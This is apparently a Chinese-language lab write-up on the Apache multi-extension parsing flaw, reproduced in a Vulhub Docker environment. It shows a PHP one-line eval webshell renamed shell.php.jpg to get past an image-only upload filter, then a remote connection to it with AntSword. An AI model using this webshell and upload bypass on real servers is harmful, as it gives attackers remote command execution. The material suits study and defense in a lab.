0x00 漏洞原理
Apache默认一个文件可以有多个以点分割的后缀,Apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别。例如一个文件名为test.jpg.abc,Apache会先从最右边开始识别,也就是会先识别.abc,apache无法识别.abc,继而往左继续识别,发现是.jpg,Apache可以识别,因此会将其识别为图片文件。
0x01 产生原因
配置Apache时,对于Apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的 conf/docker-php.conf里的配置命令。
AddHandler application/x-httpd-php .php
该命令会将后缀中只要含有.php的文件都会被当作php程序解析。
查看网页的源代码
从源代码中可以看出,该网站只允许上传以gif,png,jpg和jpeg为后缀的文件。但由于Apache存在多后缀名解析漏洞,因此我们可以上传一个名为shell.php.jpg的文件,该文件以.jpg在最后的后缀,因此可以上传到网站;又有该文件存在.php,因此最终该文件会被当作php文件执行。
0x02 实验设备
攻击机:kali(192.168.111.139),win11(10.17.42.114)
靶机:centos7(192.168.111.140)
0x03 实验步骤
1. 进入靶场,拉取镜像,并查看服务相关信息。
cd vulhub/httpd/apache_parsing_vulnerability //进入靶场
docker-compose up -d //拉取镜像
docker ps //查看服务相关信息
可以看到服务的端口号为80。
2. 从本机中访问该服务。
3.选择php的一句话木马文件,并将其重命名为shell.php.jpg,然后上传。
<?php @eval($_POST['cmd']); ?>
网页显示上传成功,并且服务中也确实存在该文件
注:进入服务终端的732f89728c1是容器ID,可以通过docker ps命令查看。
4. 尝试使用蚁剑进行连接(连接的url是http://192.168.111.140/uploadfiles/shell.php.jpg,而不是从/var开始)。
连接成功!